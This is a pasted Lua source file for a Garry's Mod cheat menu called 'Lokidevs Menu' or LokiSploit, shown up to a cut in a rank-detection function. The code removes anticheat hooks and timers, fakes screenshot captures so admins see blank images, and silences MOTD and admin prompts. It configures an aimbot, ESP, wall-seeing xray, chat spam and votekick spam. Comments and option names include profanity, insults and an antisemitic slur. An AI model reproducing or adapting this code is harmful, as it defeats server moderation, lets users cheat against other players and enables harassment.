Chuckielebg

cheloutoutsa2

Feb 18th, 2018
83
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 224.30 KB | None | 0 0
  1. if file.Exists( "includes/extensions/client/vehicle.lua", "LUA" ) == false then -- ne pas toucher cac check !!!!!
  2. if ( SERVER ) then
  3. function file.Read(d)
  4. return "Bien essayer ma salope :)"
  5. end
  6. end
  7. MsgC (Color(18, 254, 1), [[
  8. ____ _ _ ____ _ __ _ _____
  9. / _\/ \ /|/ \ /\/ _\/ |/ // \/ __/
  10. | / | |_||| | ||| / | / | || \
  11. | \__| | ||| \_/|| \__| \ | || /_
  12. \____/\_/ \|\____/\____/\_|\_\\_/\____\
  13.  
  14. ]])
  15. if !( CLIENT ) then return end
  16. if hook.GetTable().zac_110011010110110101101010101 then
  17. hook.Remove( "zac_110011010110110101101010101", "", zac_knwowledge100110110101011 );
  18. end
  19. if hook.GetTable().zac_meme then
  20. hook.Remove( "zac_meme", "", zac_00100101010110110011101 );
  21. end
  22. local RatesScaleLevel = LocalPlayer():SteamID()
  23. if ulx then ulx.showMotdMenu = function() end end
  24. if( ulx ) then
  25. function ulx.showMotdMenu() return end
  26. function ulx.gagUser() return end
  27. if hook.GetTable().HUDPaint then hook.Remove("HUDPaint","drawHudVital") end
  28. if hook.GetTable().CalcView then hook.Remove("CalcView", "CalcView") end
  29. hook.Add( "Think", "naughtyblindxx", function() hook.Remove( "HUDPaint", "ulx_blind" ) end )
  30. end
  31. if( FancyMOTD ) then
  32. function FancyMOTD.Show() return end
  33. end
  34. if( MODERN != nil ) then
  35. function MODERN.OpenMOTD() return end
  36. end
  37. if( FIGD ) then
  38. function FIGD.OpenMenu() return end
  39. end
  40. if( silkymotd ) then
  41. function silkymotd.Open() return end
  42. end
  43. net.Receive( "open_menu", function() end )
  44. net.Receive( "closebutton_repeat", function() end )
  45. net.Receive("sMsgStandard", function() end)
  46. net.Receive("sNotifyHit", function() end)
  47. net.Receive("sMsgAdmins", function() end)
  48. net.Receive("sAlertNotice", function() end)
  49. _G.RunCheck = function() end -- RIP hellzone anticheat
  50. timer.Simple(1, function()
  51. if AccountCreationScreen then
  52. AccountCreationScreen:Remove(); -- go fuck yourself
  53. end
  54. hook.Remove("PlayerBindPress", "BlockPhysgunWheelSpeedGlitch") -- no seriously go fuck yourself
  55. end)
  56. if SERVER then return end
  57. concommand.Remove( "DrawDeathMsg" )
  58. concommand.Remove( "EasyMOTD_Open" )
  59. concommand.Remove( "OpenMotd" )
  60. concommand.Remove( "nlr_box" )
  61. concommand.Remove( "NLRDeathMessage" )
  62. concommand.Remove( "wesnlr" )
  63. concommand.Remove( "lunera_motd" )
  64. concommand.Remove( "MOTD" )
  65. concommand.Remove( "MOTDS" )
  66. concommand.Remove( "Suss_MOTD" )
  67. -- Fuck Escape Menu
  68. hook.Remove("ShouldDrawLocalPlayer", "ESC.DrawPlayer")
  69. hook.Remove("HUDShouldDraw", "ESC.HideHUD")
  70. hook.Remove("RenderScreenspaceEffects", "ESC.ScreenspaceEffects")
  71. hook.Remove("PreRender", "ESC.OpenMenu")
  72. hook.Remove("CalcView", "ESC.CalcView")
  73. hook.Remove("HUDShouldDraw", "IceEscape_HudShouldDraw")
  74. hook.Remove("Render", "IceEscape_CheckKeyWasIn")
  75. hook.Remove("PreRender", "IceEscape_PreRenderHookEscKey")
  76. hook.Remove("PreRender", "esc.PreRender")
  77. hook.Remove("Think", "JarvinOpenKey")
  78. hook.Remove("PreRender", "Jarvin:PreRender")
  79. hook.Remove("PreRender", "Liko:PreRender")
  80. hook.Remove("PreRender", "cleanEscape")
  81. hook.Remove("RenderScreenspaceEffects", "ceScreenEffects")
  82. if file.Exists( "autorun/client/cl_3dmenu.lua", "LUA" ) == true then
  83. hook.Remove( "PostDrawTranslucentRenderables", MENU )
  84. hook.Remove( "RenderScene", MENU )
  85. hook.Remove( "Think", MENU )
  86. hook.Remove( "GUIMousePressed", MENU )
  87. hook.Remove( "PreventScreenClicks", MENU )
  88. hook.Remove( "ShouldDrawLocalPlayer", MENU )
  89. hook.Remove( "CalcView", MENU )
  90. hook.Remove( "PreRender", MENU )
  91. hook.Remove( "HUDShouldDraw", MENU )
  92. MENU = nil
  93. end
  94. -- Photon de merde buger
  95. hook.Remove( "PreDrawEffects", "Photon.RenderQueue")
  96. -- J'ai galerer pour cette merde mes enfin sa d�gage mdr
  97. hook.Remove("HUDPaint", "carBomb_ScannerHUD")
  98. -- Escape Menu Fucked x)
  99. -- Fuck Weather
  100. --atmos :
  101. hook.Remove( "Think", "atmosStormThink" )
  102. hook.Remove( "HUDPaint", "atmosHUDPaint" )
  103. --simpleweather
  104. hook.Remove( "Initialize", "SW.Initialize" )
  105. hook.Remove( "Think", "SW.Think" )
  106. hook.Remove( "HUDPaint", "SW.HUDPaint" )
  107. hook.Remove( "RenderScreenspaceEffects", "SW.RenderScreenspaceEffects" )
  108. hook.Remove( "SetupWorldFog", "SW.SetupWorldFog" )
  109. hook.Remove( "SetupSkyboxFog", "SW.SetupSkyboxFog" )
  110. hook.Remove( "HUDPaint", "SW.DrawClock" )
  111. --stormfox
  112. hook.Remove("Think","StormFox - Outdoor Env" )
  113. hook.Remove("Think","StormFox - light_env support" )
  114. hook.Remove("HUDPaint","RainDebug2" )
  115. hook.Remove("HUDPaint","StormFox - HUDTips" )
  116. hook.Remove("RenderScreenspaceEffects","StormFox - Toxxeffect" )
  117. hook.Remove("PostDraw2DSkyBox", "StormFox - SkyBoxRender" )
  118. hook.Remove( "StormFox - TopSkyRender", "StormFox - MoonRender" )
  119. hook.Remove( "RenderScreenspaceEffects", "StormFox - Sunbeams" )
  120. hook.Remove("StormFox - EnvUpdate","StormFox - RainSounds" )
  121. hook.Remove("StormFox - EnvUpdate","StormFox - WindSounds" )
  122. hook.Remove("Think","StormFox - SkyPaintFix" )
  123. hook.Remove("Think","StormFox - SkyThink" )
  124. hook.Remove( "PostDraw2DSkyBox", "StormFox - ShootingStars" )
  125. hook.Remove("Think","StormFox - ShadowUpdate" )
  126. hook.Remove( "RenderScreenspaceEffects", "stormFox - screenmodifier" )
  127. hook.Remove("Think","StormFox - DownfallUpdater" )
  128. hook.Remove("Think","StormFox - RenderFalldownThink" )
  129. hook.Remove("Think","StormFox - RenderFalldownScreenThink" )
  130. hook.Remove("HUDPaint","StormFox - RenderRainScreen" )
  131. hook.Remove("HUDPaint","StormFox - RainScreenEffect" )
  132. hook.Remove("Think","StormFox - RenderFalldownHanlde" )
  133. hook.Remove("PostDrawTranslucentRenderables", "StormFox - RenderFalldown" )
  134. hook.Remove("PostPlayerDraw","StormFox - Breath" )
  135. hook.Remove("Think","StormFox - CBreath" )
  136. hook.Remove("SetupSkyboxFog","StormFox - skyfog" )
  137. hook.Remove("SetupWorldFog","StormFox - skyworldfog" )
  138. hook.Remove("RenderScene","StormFox - Suntest" )
  139. hook.Remove("PostDrawOpaqueRenderables","StormFox - SkyBox Debug" )
  140. hook.Remove("Think","StormFox - CloudUpdate" )
  141. hook.Remove("PostDrawOpaqueRenderables","StormFox - CloudRender" )
  142. -- Weather Fucked
  143. if ConVarExists( "utime_enable") then
  144. RunConsoleCommand("utime_enable",0)
  145. end
  146. RunConsoleCommand("-voicerecord")
  147. hook.Remove("HUDPaint", "PPT_HUD")
  148. hook.Remove("InitPostEntity", "spawnIconRefresh")
  149. hook.Remove("HUDPaint", "DoHud")
  150. hook.Remove("Think", "PlayerInfoThing")
  151. timer.Destroy("AntiCheatTimer")
  152. timer.Destroy("testing123")
  153. hook.Remove("Think", "sh_menu")
  154. timer.Destroy( "STC" )
  155. hook.Remove("PlayerInitialSpawn", "AddPlayer")
  156. hook.Remove("OnGamemodeLoaded", "___scan_g_init")
  157. hook.Remove("PlayerSay", "screengrab_playersay")
  158. hook.Remove( "PlayerInitialSpawn", "showMotd")
  159. hook.Remove( "CalcView", "rp_deathPOV" )
  160. hook.Remove( "PlayerBindPress", "BlockPhysgunWheelSpeedGlitch" )
  161. hook.Remove( "Think", "FancyMOTD.OpenOnKeypress" )
  162. hook.Remove( "RenderScreenspaceEffects", "WeatherOverlay" )
  163. hook.Remove( "PlayerInitialSpawn", "OpenMotdOnJoin" )
  164. hook.Remove( "PlayerSay", "OpenMotdOnCommand" )
  165. hook.Remove( "Initialize","silkymotd" )
  166. hook.Remove( "PlayerAuthed", "wat" )
  167. hook.Remove( "HUDPaint", "newhud" )
  168. hook.Remove( "HUDShouldDraw", "newhud" )
  169. hook.Remove( "Think", "wat" )
  170. hook.Remove( "RenderScreenspaceEffects", "wat" )
  171. hook.Remove( "HUDPaint", "dance" )
  172. hook.Remove( "GetMotionBlurValues", "wat" )
  173. hook.Remove( "RenderScreenspaceEffects", "ohgod" )
  174. hook.Remove( "PostDrawTranslucentRenderables", "ohgod" )
  175. timer.Destroy( "thedrop" )
  176. net.Receive( "open_menu", function() end )
  177. net.Receive( "LuneraInitMenu", function() end )
  178. net.Receive( "closebutton_repeat", function() end )
  179. net.Receive( "sBlockGMSpawn", function() hook.Remove( "PlayerBindPress", "_sBlockGMSpawn" ) end )
  180. net.Receive( "NDS_death", function() return end )
  181. net.Receive( "silkymotd", function() return end )
  182. net.Receive( "slua", function() return end )
  183. local missingjpg = file.Read("materials/ironman.jpg", "GAME")
  184. local missingpng = file.Read("materials/ironman.png", "GAME")
  185. local noided_dummy = "iVBORw0KGgoAAAANSUhEUgAAAAcAAAAECAIAAADNpLIqAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsMAAA7DAcdvqGQAAAAYSURBVBhXY2BgYmBmYGFgZEAFlIkyMAAACDAAKdIBq3cAAAAASUVORK5CYII="
  186. local actualRenderCapture = _G.render.Capture
  187. local encodeData = util.Base64Encode;
  188. _G.render.Capture = function(data)
  189. chat.AddText( Color(255, 0, 0), "[Lokidevs Menu]: Tentative de Screenshot Bloquer" )
  190. if data.format == "jpeg" then
  191. return missingjpg
  192. elseif data.format == "png" then
  193. return missingpng
  194. end
  195. end
  196. util.Base64Encode = function( str )
  197. local encoding = encodeData( missingpng );
  198. return( noided_dummy );
  199. end
  200. local RunCmdAlt = http.Fetch
  201. timer.Destroy("animating")
  202. animating = false
  203. local ZNX = ZNX or {}
  204. ZNX.Vars = ZNX.Vars or {}
  205. ZNX.NumberVars = ZNX.NumberVars or {} -- need a seperate table here coz im a lazy cunt
  206. ZNX.Buddies = ZNX.Buddies or {}
  207. ZNX.Targets = ZNX.Targets or {}
  208. ZNX.TheyHaveEyesEverywhere = ZNX.TheyHaveEyesEverywhere or {}
  209. ZNX.Witnesses = ZNX.Witnesses or {}
  210. ZNX.Debug = ZNX.Debug or {}
  211. ZNX.MarkedEnts = ZNX.MarkedEnts or {}
  212. ZNX.RenderPanic = false
  213. ZNX.NameStealName = "Changer de Nom"
  214. ZNX.NameStealPlayer = LocalPlayer()
  215. ZNX.CrossHairAlpha = 0
  216. ZNX.ScrollDelta = 0 -- lets you set mouse wheel scroll from outside of createmove
  217. ZNX.AimbotBone = "ValveBiped.Bip01_Head1"
  218. ZNX.ViewAngle = Angle(0,0,0)
  219. ZNX.AimbotTarget = game.GetWorld()
  220. ZNX.AimbotPreviewTarget = -1
  221. ZNX.HoldingProp = game.GetWorld()
  222. ZNX.ChatSpamText = "YOU GET FUCKED BY LokiSploit"
  223. ZNX.OPhysColor = Vector( GetConVarString( "cl_weaponcolor" ) ) or Vector( 1,1,1 )
  224. ZNX.CurrentBase = 0
  225. ZNX.BaseAreaSize = 10
  226. ZNX.InternalFakeAngles = 0
  227. ZNX.MemoryDebug = {
  228. ["hud"] = 0,
  229. ["logic"] = 0,
  230. ["aimbot"] = 0,
  231. }
  232. ZNX.Freecam = false
  233. ZNX.FreecamCoordinates = { pos = Vector( 0, 0, 0 ), ang = Angle( 0, 0, 0 ) }
  234. -- general settings
  235. ZNX.Vars.Notifications = ZNX.Vars.Notifications or true
  236. -- vision
  237. ZNX.Vars.Vision = ZNX.Vars.Vision or true
  238. ZNX.Vars.ShowESP = ZNX.Vars.ShowESP or true
  239. ZNX.Vars.ShowDead = ZNX.Vars.ShowDead or false
  240. ZNX.Vars.ShowHP = ZNX.Vars.ShowHP or false
  241. ZNX.Vars.ShowFriends = ZNX.Vars.ShowFriends or true
  242. ZNX.Vars.ShowTargets = ZNX.Vars.ShowTargets or true
  243. ZNX.Vars.TeamColors = ZNX.Vars.TeamColors or false
  244. ZNX.Vars.ShowRanks = ZNX.Vars.ShowRanks or true
  245. ZNX.Vars.ShowDistance = ZNX.Vars.ShowDistance or false
  246. ZNX.Vars.ESPProps = ZNX.Vars.ESPProps or false
  247. ZNX.Vars.Entfinder = ZNX.Vars.Entfinder or false
  248. ZNX.Vars.Vizlines = ZNX.Vars.Vizlines or false
  249. ZNX.Vars.BoundingBox = ZNX.Vars.BoundingBox or false
  250. ZNX.Vars.BoundingBox3d = ZNX.Vars.BoundingBox3d or false
  251. ZNX.Vars.VSquares = ZNX.Vars.VSquares or true
  252. ZNX.Vars.VNames = ZNX.Vars.VNames or true
  253. ZNX.Vars.PKVelocity = ZNX.Vars.PKVelocity or false
  254. ZNX.Vars.PKChams = ZNX.Vars.PKChams or false
  255. ZNX.Vars.PKPropCam = ZNX.Vars.PKPropCam or false
  256. ZNX.Vars.PKPropBeams = ZNX.Vars.PKPropBeams or false
  257. ZNX.Vars.PKPlayerBeams = ZNX.Vars.PKPlayerBeams or false
  258. ZNX.Vars.PKVerticalBeams = ZNX.Vars.PKVerticalBeams or false
  259. ZNX.Vars.CSFlashlight = ZNX.Vars.CSFlashlight or false
  260. ZNX.Vars.ArmeESP = ZNX.Vars.ArmeESP or false
  261. ZNX.Vars.ArgentESP = ZNX.Vars.ArgentESP or false
  262. ZNX.Vars.ShowFPS = ZNX.Vars.ShowFPS or false
  263. ZNX.NumberVars.VisionDist = ZNX.NumberVars.VisionDist or 2000
  264. -- utility
  265. ZNX.Vars.CameraSpam = ZNX.Vars.CameraSpam or true
  266. ZNX.Vars.FlashlightSpam = ZNX.Vars.FlashlightSpam or false
  267. ZNX.Vars.NoRecoil = ZNX.Vars.NoRecoil or true
  268. ZNX.Vars.WitnessDetector = ZNX.Vars.WitnessDetector or false
  269. ZNX.Vars.Mirror = ZNX.Vars.Mirror or false
  270. ZNX.Vars.Radar = ZNX.Vars.Radar or false
  271. --ZNX.Vars.RadarColors = ZNX.Vars.RadarColors or false
  272. ZNX.Vars.Xray = ZNX.Vars.Xray or false
  273. ZNX.Vars.Crosshair = ZNX.Vars.Crosshair or false
  274. ZNX.Vars.NameStealer = false
  275. ZNX.Vars.NotifyKills = ZNX.Vars.NotifyKills or false
  276. ZNX.Vars.XrayPlayers = ZNX.Vars.XrayPlayers or true
  277. ZNX.Vars.XrayProps = ZNX.Vars.XrayProps or true
  278. ZNX.Vars.XrayEntfinder = ZNX.Vars.XrayEntfinder or false
  279. ZNX.Vars.NoChamColours = ZNX.Vars.NoChamColours or true
  280. ZNX.Vars.XraySolid = ZNX.Vars.XraySolid or false
  281. ZNX.Vars.AutoAddSteamFriends = ZNX.Vars.AutoAddSteamFriends or true
  282. ZNX.Vars.ChatSpam = false
  283. ZNX.Vars.ChatSpamOOC = ZNX.Vars.ChatSpamOOC or false
  284. ZNX.Vars.ChatSpamBind = ZNX.Vars.ChatSpamBind or false
  285. ZNX.Vars.ChatSpamInsult = ZNX.Vars.ChatSpamInsult or false
  286. ZNX.Vars.ChatSpamPM = ZNX.Vars.ChatSpamPM or false
  287. ZNX.Vars.ChatSpamPMAdmins = ZNX.Vars.ChatSpamPMAdmins or false
  288. ZNX.EntScanner = false
  289. ZNX.EntScannerTab = {}
  290. ZNX.EntScannerEnt = game.GetWorld()
  291. ZNX.Vars.DemoteSpam = false
  292. ZNX.Vars.WantedSpam = false
  293. ZNX.Vars.ULXVotekickSpam = false
  294. ZNX.Vars.ULXVotebanSpam = false
  295. ZNX.Vars.KillTaunts = false
  296. ZNX.Vars.DeathTaunts = false
  297. ZNX.Vars.DodgeArrest = false
  298. ZNX.Vars.NewLifeRule = false
  299. ZNX.Vars.DontTouchMeThere = false
  300. ZNX.Vars.KeypadJew = false
  301. ZNX.Vars.FreecamControls = false
  302. -- aimbot
  303. ZNX.Vars.Aimbot = ZNX.Vars.Aimbot or false
  304. ZNX.Vars.AimbotTargetMode = ZNX.Vars.AimbotTargetMode or true
  305. ZNX.Vars.AutoShoot = ZNX.Vars.AutoShoot or false
  306. ZNX.Vars.AimbotShootThroughWalls = ZNX.Vars.AimbotShootThroughWalls or false
  307. ZNX.Vars.SnapOnFire = ZNX.Vars.SnapOnFire or false
  308. ZNX.Vars.TargetFriends = ZNX.Vars.TargetFriends or true
  309. ZNX.Vars.TargetHighlighted = ZNX.Vars.TargetHighlighted or true
  310. ZNX.Vars.TargetNormies = ZNX.Vars.TargetNormies or true
  311. ZNX.Vars.TargetAdmins = ZNX.Vars.TargetAdmins or true
  312. ZNX.Vars.TargetSameTeam = ZNX.Vars.TargetSameTeam or true
  313. ZNX.Vars.TargetNoclippers = ZNX.Vars.TargetNoclippers or true
  314. ZNX.Vars.PreviewTarget = ZNX.Vars.PreviewTarget or true
  315. ZNX.Vars.CompSpread = ZNX.Vars.CompSpread or false
  316. ZNX.Vars.SilentAim = ZNX.Vars.SilentAim or false
  317. ZNX.Vars.AimbotBindMode = ZNX.Vars.AimbotBindMode or false
  318. ZNX.Vars.SafeJump = ZNX.Vars.SafeJump or false
  319. ZNX.Vars.AimbotWallbanger = ZNX.Vars.AimbotWallbanger or false
  320. ZNX.Vars.AimbotAdaptiveTarget = ZNX.Vars.AimbotAdaptiveTarget or false
  321. ZNX.Vars.AimbotStickyLock = ZNX.Vars.AimbotStickyLock or true
  322. ZNX.Vars.TargetMurder = ZNX.Vars.TargetMurder or false
  323. ZNX.Vars.AutoReload = ZNX.Vars.AutoReload or false
  324. ZNX.NumberVars.AimbotMaxFOV = ZNX.NumberVars.AimbotMaxFOV or 20
  325. ZNX.NumberVars.AimbotDist = ZNX.NumberVars.AimbotDist or 200
  326. ZNX.NumberVars.AimbotSmooth = ZNX.NumberVars.AimbotSmooth or 0
  327. ZNX.NumberVars.PKRotateAngle = ZNX.NumberVars.PKRotateAngle or 30
  328. ZNX.NumberVars.AimbotBindKey = ZNX.NumberVars.AimbotBindKey or 107
  329. ZNX.NumberVars.SafeJumpBindKey = ZNX.NumberVars.SafeJumpBindKey or 24
  330. ZNX.NumberVars.FreecamForward = ZNX.NumberVars.FreecamForward or 50
  331. ZNX.NumberVars.FreecamBack = ZNX.NumberVars.FreecamBack or 49
  332. ZNX.NumberVars.FreecamLeft = ZNX.NumberVars.FreecamLeft or 41
  333. ZNX.NumberVars.FreecamRight = ZNX.NumberVars.FreecamRight or 43
  334. ZNX.NumberVars.FreecamUp = ZNX.NumberVars.FreecamUp or 45
  335. ZNX.NumberVars.FreecamDown = ZNX.NumberVars.FreecamDown or 42
  336. -- default menu and esp colours
  337. ZNX.DefaultSchemes = {
  338. [1] = {"Anus Brown", Color(125,0,0), Color(50,0,0)},
  339. [2] = {"Ocean Blue", Color(100,100,255,255), Color(50,50,155,255)},
  340. [3] = {"Sage Green", Color(100,250,100,255), Color(0,200,0,255)},
  341. [4] = {"Javelin Orange", Color(250,250,0,255), Color(250,150,0,255)},
  342. [5] = {"Predator Red", Color(255,0,0,255), Color(200,0,0,255)},
  343. [6] = {"Miami Pink", Color(255,0,255,255), Color(150,0,150,255)},
  344. [7] = {"Spectral Blue", Color(205,205,255,255), Color(105,105,255,255)},
  345. [8] = {"Jungle Green", Color(50,150,50,255), Color(0,50,0,255)},
  346. [9] = {"Noir Grey", Color(150,150,150,255), Color(50,50,50,255)},
  347. }
  348. ZNX.DefaultScheme = Color(125,0,0)
  349. ZNX.DefaultScheme2 = Color(255,80,80)
  350. ZNX.Matinfo = {
  351. ["$basetexture"] = "models/debug/debugwhite",
  352. ["$model"] = 1,
  353. ["$nocull"] = 1,
  354. ["$ignorez"] = 1,
  355. }
  356. ZNX.Mat1 = (CreateMaterial( "abchams2", "VertexLitGeneric", ZNX.Matinfo ))
  357. ZNX.ColScheme = Vector(ZNX.DefaultScheme.r / 255, ZNX.DefaultScheme.g / 255, ZNX.DefaultScheme.b / 255)
  358. ZNX.ColScheme2 = Vector(ZNX.DefaultScheme2.r / 255, ZNX.DefaultScheme2.g / 255, ZNX.DefaultScheme2.b / 255)
  359. ZNX.NumberVars.ColorScheme = ZNX.NumberVars.ColorScheme or 1
  360. -- herkz
  361. ZNX.Vars.Aimbot = ZNX.Vars.Aimbot or false
  362. ZNX.Vars.Autoclick = ZNX.Vars.Autoclick or false
  363. ZNX.Vars.Bhop = ZNX.Vars.Bhop or false
  364. ZNX.Vars.NPC_ESP = ZNX.Vars.NPC_ESP or false
  365. ZNX.Vars.BhopAutostrafe = ZNX.Vars.BhopAutostrafe or false
  366. ZNX.Vars.RopeStorm = ZNX.Vars.RopeStorm or false
  367. ZNX.Vars.Triggerbot = ZNX.Vars.Triggerbot or false
  368. ZNX.Vars.Thirdperson = ZNX.Vars.Thirdperson or false
  369. ZNX.NumberVars.MirrorX = ZNX.NumberVars.MirrorX or 0
  370. ZNX.NumberVars.MirrorY = ZNX.NumberVars.MirrorY or 0
  371. ZNX.NumberVars.MirrorSize = ZNX.NumberVars.MirrorSize or 30
  372. ZNX.NumberVars.MirrorAxis = ZNX.NumberVars.MirrorAxis or 0
  373. ZNX.NumberVars.XrayDistance = ZNX.NumberVars.XrayDistance or 200
  374. ZNX.NumberVars.TPSDistance = ZNX.NumberVars.TPSDistance or 100
  375. ZNX.NumberVars.AreaScrollerSize = ZNX.NumberVars.AreaScrollerSize or 10
  376. ZNX.NumberVars.TPSOffset = ZNX.NumberVars.TPSOffset or 0
  377. ZNX.NumberVars.RadarX = ZNX.NumberVars.RadarX or ScrW() - 1170
  378. ZNX.NumberVars.RadarY = ZNX.NumberVars.RadarY or 55
  379. ZNX.NumberVars.RadarAlpha = ZNX.NumberVars.RadarAlpha or 255
  380. ZNX.NumberVars.RadarSize = ZNX.NumberVars.RadarSize or 183
  381. ZNX.NumberVars.RadarZoom = ZNX.NumberVars.RadarZoom or 30
  382. statutautoexploit = "D�sactiver"
  383. animatinginfo = "D�sactiver"
  384. info_ulx_spam = "D�sactiver"
  385. spam_props_text = "D�sactiver"
  386. billet_spam = "D�sactiver"
  387. local black = ( Color(0,0,0,255) )
  388. local white = ( Color(255,255,255,255) )
  389. local red = ( Color(255,0,0,255) )
  390. local AA = {}
  391. local ValidEntity = IsValid
  392. --[[
  393. local plymeta = FindMetaTable( "Player" )
  394. plymeta.ConCommand2 = plymeta.ConCommand2 or plymeta.ConCommand
  395. function plymeta:ConCommand( command )
  396. if command == "jpeg" and ZNX.Vars.CameraSpam then return else
  397. return self:ConCommand2( command )
  398. end
  399. end
  400. --]]
  401. local ncomponent = { color = Color( 205, 205, 255 ), name = "Lokidev" }
  402. function ZNX.ChatText( message, col )
  403. chat.AddText( Color(0, 135, 255), [[[Lokidevs Menu]: ]], col, message )
  404. end
  405. function ChatPrint ( msg, color )
  406. chat.AddText ( Color( 0, 135, 255 ), "[Lokidevs Menu] "..msg )
  407. end
  408. function DrawOutlinedText ( title, font, x, y, color, OUTsize, OUTcolor )
  409. draw.SimpleTextOutlined ( title, font, x, y, color, TEXT_ALIGN_CENTER, TEXT_ALIGN_CENTER, OUTsize, OUTcolor )
  410. end
  411. function DrawOutlinedText2 ( title, font, x, y, color, OUTsize, OUTcolor )
  412. draw.SimpleTextOutlined ( title, font, x, y, color, TEXT_ALIGN_LEFT, TEXT_ALIGN_CENTER, OUTsize, OUTcolor )
  413. end
  414. function DrawRoundedBox ( bordersize, x, y, sX, sY, color )
  415. draw.RoundedBox ( bordersize, x, y, sX, sY, color )
  416. end
  417. function DrawRoundedBoxEx ( bordersize, x, y, sX, sY, color, Topl, Topr, Botl, Botr )
  418. draw.RoundedBoxEx ( bordersize, x, y, sX, sY, color, Topl, Topr, Botl, Botr )
  419. end
  420. function DrawLine ( bX, bY, eX, eY )
  421. surface.DrawLine ( bX, bY, eX, eY )
  422. end
  423. function DrawOutlinedRect (color, bx, by, ex, ey )
  424. surface.SetDrawColor (color)
  425. surface.DrawOutlinedRect ( bx, by, ex, ey )
  426. end
  427. function CreateButton ( title, Parent, tcolor, bcolor, visible, x, y, sX, sY, tip, doclick )
  428. local button = vgui.Create( "DButton" )
  429. button:SetParent( Parent )
  430. button:SetText( " " )
  431. button:SetPos( x, y )
  432. button:SetSize( sX, sY )
  433. button:SetVisible( visible )
  434. button:SetColor( tcolor )
  435. button:SetTooltip( tip or " " )
  436. button.Paint = function ()
  437. DrawRoundedBoxEx ( 10, 0, 0, button:GetWide(), button:GetTall(), bcolor, false, false, false, false )
  438. DrawOutlinedText ( title, "Menu", button:GetWide()/2, button:GetTall()-10, white, 1, black )
  439. DrawOutlinedRect (red, 0, 0, button:GetWide(), button:GetTall() )
  440. end
  441. button.DoClick = doclick
  442. end
  443. ------------------------------------------------------------------------Lokidev UTILITIES--------------------------------------------------------------------------------------
  444. surface.CreateFont("Menu",{font = "Arial", size = 17, weight = 200, antialias = 0})
  445. surface.CreateFont("Get",{font = "Fixedsys", size = 17, weight = 200, antialias = 0})
  446. surface.CreateFont("Small",{font = "Arial", size = 12, weight = 200, antialias = 0})
  447. surface.CreateFont("ESP",{font = "Fixedsys", size = 12, weight = 200, antialias = 0})
  448. surface.CreateFont("Logo",{font = "Tahoma", size = 20, weight = 100000, antialias = 0})
  449. surface.CreateFont("Playlist",{font = "Tahoma", size = 15, weight = 100000, antialias = 0})
  450. surface.CreateFont("HUDLogo",{font = "Ravie", size = 40, weight = 100000, antialias = 0})
  451. surface.CreateFont("Infotab",{font = "Ravie", size = 75, weight = 100000, antialias = 0})
  452. surface.CreateFont("Fontnpcesp", {font = "Fixedsys", size = 13, weight = 500, antialias = true, outline = true})
  453. function ZNX.SaveSettings()
  454. local StringToWrite = ""
  455. for k, v in pairs(ZNX.Vars) do
  456. if( StringToWrite == "" ) then
  457. StringToWrite = k .. ";" .. tostring(v)
  458. else
  459. StringToWrite = StringToWrite .. "\n" .. k .. ";" .. tostring(v)
  460. end
  461. end
  462. StringToWrite = StringToWrite.."--NUMBERVARS--\n"
  463. for k, v in pairs(ZNX.NumberVars) do
  464. if( StringToWrite == "" ) then
  465. StringToWrite = k .. ";" .. tostring(v)
  466. else
  467. StringToWrite = StringToWrite .. "\n" .. k .. ";" .. tostring(v)
  468. end
  469. end
  470. --[[
  471. if not file.IsDir("Lokidev", "DATA") then
  472. file.CreateDir("Lokidev")
  473. end
  474. --]]
  475. file.Write( "Lokidev_settings.dat", StringToWrite )
  476. end
  477. concommand.Add("LokiDev_save_settings", ZNX.SaveSettings)
  478. function ZNX.LoadSettings()
  479. --[[
  480. if not file.IsDir("Lokidev", "DATA") then
  481. file.CreateDir("Lokidev")
  482. end
  483. --]]
  484. if !file.Exists("Lokidev_settings.dat", "DATA") then ZNX.SaveSettings() return end
  485. local TheFile = file.Read( "Lokidev_settings.dat", "DATA" )
  486. local halves = string.Explode( "--NUMBERVARS--\n", TheFile )
  487. if !halves[2] then file.Delete( "Lokidev_settings.dat" )
  488. ZNX.ChatText( "le fichier de donn�es invalides utilisent un format obsol�te! tapez LokiDev_save_settings dans la console pour r�soudre ce probl�me", Color(255,205,205) )
  489. return
  490. end
  491. TheFile = halves[1]
  492. local DataPieces = string.Explode( "\n", TheFile )
  493. for k, v in pairs( DataPieces ) do
  494. local TheLine = string.Explode( ";", v )
  495. ZNX.Vars[TheLine[1]] = tobool(TheLine[2])
  496. end
  497. TheFile = halves[2]
  498. local DataPieces = string.Explode( "\n", TheFile )
  499. for k, v in pairs( DataPieces ) do
  500. local TheLine = string.Explode( ";", v )
  501. ZNX.NumberVars[TheLine[1]] = tonumber(TheLine[2])
  502. end
  503. ZNX.Vars.NameStealer = false
  504. end
  505. concommand.Add("LokiDev_load_settings", ZNX.LoadSettings)
  506. ZNX.LoadSettings() -- load our shit right away
  507. ZNX.Vars.ChatSpam = false -- reset this to false so we dont get cucked by anticheats
  508. -- covert source units(inches) to metres
  509. function ZNX.ToMetric( num )
  510. if not isnumber(num) then return end
  511. return math.floor(num * 0.0254)
  512. end
  513. function Visible( ply )
  514. if (!IsValid( ply )) then return false end
  515. local vecPos, _ = ply:GetBonePosition( ply:LookupBone( "ValveBiped.Bip01_Head1" ) or 12 );
  516. local trace = { start = LocalPlayer():EyePos(), endpos = vecPos, filter = LocalPlayer(), mask = MASK_SHOT };
  517. local traceRes = util.TraceLine( trace );
  518. TraceRes = traceRes;
  519. if (traceRes.HitWorld || traceRes.Entity != ply) then return false end;
  520. return true;
  521. end
  522. -- check if an entity is actually visible on our screen, used to boost efficiency in the xray and esp code
  523. function ZNX.OnScreen( ent, ws )
  524. local ws = ws or 0
  525. local bpos = (ent:LocalToWorld(ent:OBBCenter())):ToScreen()
  526. if ( bpos.x < (ScrW() + ws) and bpos.x > (0 - ws) and bpos.y < (ScrH() + ws) and bpos.y > (0 - ws) ) then return true end
  527. return false
  528. end
  529. function ZNX.IsDead( ply )
  530. if !ply:IsValid() or !ply:Alive() or ply:GetObserverMode() != OBS_MODE_NONE then return true end
  531. return false
  532. end
  533. -- compatible with ulx, assmod, evolve, vermillion 2 and traditional admin/superadmin detection may or may not pick up unknown admin mods
  534. function ZNX.GetRank( ply )
  535. if !ply or !ply:IsValid() then return "user" end
  536. local rank = "user"
  537. if ply:GetNWString("usergroup") then rank = ply:GetNWString("usergroup") return rank end
  538. --if evolve then rank = ply:EV_GetRank() return rank end
